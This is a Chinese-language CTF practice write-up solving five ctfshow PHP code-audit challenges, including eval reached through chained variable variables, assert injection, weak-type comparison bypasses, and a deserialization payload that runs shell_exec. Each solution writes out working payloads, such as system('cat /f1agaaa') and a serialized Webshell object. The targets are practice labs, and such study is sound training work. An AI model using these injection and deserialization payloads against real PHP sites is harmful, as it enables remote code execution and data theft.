这里将会记录一些我在各大ctf练习平台所碰到的有关php代码审计的题目,考点有弱类型绕过,伪协议,反序列化等等。因为是在备赛,且只是菜鸡一个,多多见谅,会努力学习。

112233.png

1. 这是来自ctfshow 菜狗杯的一道题目:我的眼里只有$

打开靶场如下图所示

<?php  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 08:21:54  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
extract($_POST);  
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);  
highlight_file(__FILE__);

这道题初次看比较懵,非常多的美元符号,其实是一道套娃的题目,参考了一下大佬的思路,比如传进来的参数是_=a,那么就是$_=a,再传入一个参数a=b,那么就是$$__=b,再接着下去就行了。

下面是python的代码

import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

一共是36个$,所以我们首先构造一个,后面的使用for循环构造,完了之后拼接我们想要执行的命令,读取根目录下的所有文件。

执行完如下图所示 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

记得使用post提交,回显如下图所示

image.png

发现我们想要的文件名已经给出来了:f1agaaa。更换命令使用system('cat /f1agaaa')

 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

image.png

最终成功得到了我们想要的flag。

2.这是来自ctfshow菜狗杯的一道题:一言既出

代码如下图所示

<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
    if ($_GET['num'] == 114514){  
        assert("intval($_GET[num])==1919810"or die("一言既出,驷马难追!");  
        echo $flag;  
    }   
}

简单分析,首先我们需要通过get方法传递参数,进入第一个if语句,然后要满足num=114514,以及intval函数化整之后为1919810,这显然是不可能同时满足的,所以我们需要绕过。

注意这个intval函数,结合一下注入的思路,我们可以尝试闭合这个函数使其绕过检测。

payload:

?num=114514);(1919810

php弱类型,在if语句中比较时,参数自动转为114514,舍去了后面的部分。接着在asset函数中,intval函数提前闭合,“;”使语句终止,再1919810==1919810,永真语句成功绕过。

image.png

3.这道题是第二题的后续:驷马难追

<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
     if ($_GET['num'] == 114514 && check($_GET['num'])){  
              assert("intval($_GET[num])==1919810"or die("一言既出,驷马难追!");  
              echo $flag;  
     }   
}   
  
function check($str){  
  return !preg_match("/[a-z]|;|(|)/",$str);  
}

这道题是上一题的加强版,正则匹配中,限制了小写字母,";"以及左右括号。 思考了很久,似乎被第二题给思维定式了,于是看了看大佬的思路,,发现非常的巧妙!

payload:

114514%2B1805296

这里的加号需要url转码,再赋值(直接写+号,事实上在url中表示空格)。前面是同理的,php弱类型绕过,判断的时候自动舍去后面的东西,留下114514。 接着是intval函数,首先是会进行里面的加法运算,得到1919810,符合条件,成功绕过。

image.png

4.这是ctfshow菜狗杯的一道题:webshell

下图所示是代码:

<?php   
    error_reporting(0);  
  
    class Webshell {  
        public $cmd 'echo "Hello World!"';  
  
        public function __construct() {  
            $this->init();  
        }  
  
        public function init() {  
            if (!preg_match('/flag/i'$this->cmd)) {  
                $this->exec($this->cmd);  
            }  
        }  
  
        public function exec($cmd) {  
            $result shell_exec($cmd);  
            echo $result;  
        }  
    }  
  
    if(isset($_GET['cmd'])) {  
        $serializecmd $_GET['cmd'];  
        $unserializecmd unserialize($serializecmd);  
        $unserializecmd->init();  
    }  
    else {  
        highlight_file(__FILE__);  
    }  
  
?>

仔细看发现是反序列化。由Wedshell类中的函数可知,我们不能使$cmd参数带有"flag"(正则表达式限制),代码顺下去发现参数会被shell_exec()函数调用,可执行shell命令,也就是说我们可以写进执行命令的语句。

序列化构造:

<?php
class Webshell {
	public $cmd = 'cat * >1.txt';
}

$a = new Webshell();
echo serialize($a);
?>

参数表明就当前目录下所有文件合并写入1.txt中,避免了敏感词"flag"。

运行后如下所示,再拼接到url参数后

O:8:"Webshell":1:{s:3:"cmd";s:12:"cat * >1.txt";}

image.png

在1.txt中成功找到flag

image.png

5.这是来自ctfshow菜狗杯的一道题:化零为整

代码如下所示:


<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
        if (strlen($_GET[$i])>1){
                die("你太长了!!");
                }
        else{
        $result=$result.$_GET[$i];
        }
}

if ($result ==="大牛"){
        echo $flag;
}

初步分析一下代码,这里的count($_GET)表示传入的参数个数,以此决定我们循环的次数。接着就没有什么思路了,看了一下大佬的题解,发现"大牛"是需要url编码的。

编码如下:

%E5%A4%A7%E7%89%9B

for循环是需要一个字符一个字符的拼接,每个字符的长度为1,并且每个字符作为参数传入

   ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理:

这里$i在循环中是累加的

以至于$result是依次拼接url中对应次序的参数。

最终可以回显flag。

image.png

本站提供的所有下载资源均来自互联网,仅提供学习交流使用,版权归原作者所有。如需商业使用,请联系原作者获得授权。 如您发现有涉嫌侵权的内容,请联系我们 邮箱:[email protected]